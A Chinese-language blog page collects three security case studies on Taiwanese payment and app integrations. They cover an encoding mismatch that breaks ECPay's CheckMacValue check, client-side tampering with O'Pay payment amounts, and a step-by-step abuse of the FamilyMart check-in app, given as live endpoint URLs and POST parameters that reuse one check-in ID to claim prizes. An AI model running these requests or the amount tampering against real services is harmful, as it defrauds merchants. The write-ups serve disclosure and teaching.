Category: APP安全漏洞

(中文) [安全漏洞][案例#005][WEB]綠界金流CheckMacValue問題

案例#5

綠界金流整合CheckMacValue問題

購物付款流程

首先先介紹整個購物付款流程

螢幕快照 2016-09-04 上午8.51.21

問題:

步驟(2) 我們會將一些資訊產生一組驗證碼包起來,先透過用戶瀏覽器再最終透過步驟(3)交付給綠界。
舉例:
商品名稱:綠
金額:100
數量:1
CheckMacValue:(綠+100+1) 加密變成-> BD512A

而觀察步驟(3) 透過Safari跟Chrome瀏覽器發送的原始封包:
itemName=%EF%A4%BD&itemPrice=100&itemQuota=1&CheckMacValue=BD512A
itemName=%E7%B6%A0&itemPrice=100&itemQuota=1&CheckMacValue=BD512A

綠這個字會有因為瀏覽器的關係產生兩種編碼

還原得到:(的確是兩種不同的綠)


這會造成最終綠界再比對CheckMacValue會發生比對失敗的問題

解決方式:

1. 綠界所提供的 API 可以在組裝「自動提交 form」裡面的內容都先 encode 過,避免直接傳送 unicode

<input type=”hidden” name=”itemName” value=”綠”>

改成

<input type=”hidden” name=”itemName” value=”%EF%A4%BD”>

2. 或者是把所有要傳遞的內容都過加密的方式成為一組長字串傳送,最後再解開還原成原始內容,也就不需要做CheckMacValue的判斷了

Tags :

(中文) [安全漏洞][案例#002][WEB]歐付寶金流整合(信用卡)

案例#2

歐付寶金流整合(信用卡)

Yang 聲明

此為研究案例,目的在於讓各位了解 APP 開發時嚴謹性及需要注意資安的重要。

請勿直接使用此文章方法。

購物付款流程

首先先介紹整個購物付款流程

螢幕快照 2016-09-04 上午8.51.21

問題:

由上圖可以看到步驟 (2) 與 (5) ,會透過瀏覽器端,將資料送出去。

步驟 (2) 部分封包內容:

MerchantID=…&TotalAmount=1000&MerchantTradeNo=7558619&…

紅字部分分別為:付款金額,訂單號碼

步驟 (5) 部分封包內容:

MerchantID=…&MerchantTradeNo=7558619&PayAmt=1000&…

漏洞檢視:

1 透過 client 端裝置(瀏覽器)進行資料傳送。駭客可以攔截修改這些轉址時所夾帶的內容。

2 僅需修改紅字部分。

透過步驟(2)可以讓「歐付寶」使用修改過的金額進行刷卡動作。

透過步驟(5)可以讓「購物網站」以為真的有付款成功

如果「購物網站」本身程式不夠嚴謹,很有可能在這個步驟就會出問題了。

Tags :

(中文) [安全漏洞][案例#001][APP]全家好禮籤到

案例#1

全家好禮籤到 APP

Yang 聲明

此為研究案例,目的在於讓各位了解 APP 開發時嚴謹性及需要注意資安的重要。

請勿直接使用此文章方法產生出來的序號進行兌獎動作。

事先準備

首先使用 Chrome 安裝 Advanced REST client plugin,之後操作均會透過此 plugin 進行

步驟1

使用不同的 deviceId 產生出新的 deviceUid

URL http://www.tropox.com:8080/FamilyBeacon/Services/Identify
POST
User-Agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 1.0.3705; .NET CLR 1.1.4322)
deviceId a3603f1c3dcd704c
deviceType 2
application/x-www-form-urlencoded

fami01fami01_1

步驟2 – 簽到

簽到產生checkinId

URL http://www.tropox.com:8080/FamilyBeacon/Services/CheckIn
POST
User-Agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 1.0.3705; .NET CLR 1.1.4322)
deviceUid 6ce2b05a-4b53-471c-ab30-3a0185379875
storeid 1
beaconid 0118a6d9c3e-f7f9-415e-aff9-03fb7d9b2427

fami02 fami02_2

步驟3 – 獲得禮物

使用不同的 deviceId 產生出新的 deviceUid。

正常要收集10組不同 checkId 才能獲得金獎,但這邊工程師可能偷懶,即便同一組重複使用10次也可以過關。

URL http://www.tropox.com:8080/FamilyBeacon/Services/LotoryScratchCard
POST
User-Agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 1.0.3705; .NET CLR 1.1.4322)
deviceUid 6ce2b05a-4b53-471c-ab30-3a0185379875
checkInId 前面取得的checkInId逗點隔開,總共重複十次
ver 2
application/x-www-form-urlencoded

fami_03 fami03_1

漏洞檢視:

1 網路封包未使用 https 或其他方式進行加密。

2 deviceUid 產生方式太不嚴謹,可以透過任意 deviceId 產生出 deviceUid

3 checkinId 產生方式太不嚴謹,beaconId 產生方式太過規律容易複製。

4 沒有針對異常網路操作進行阻擋

Tags :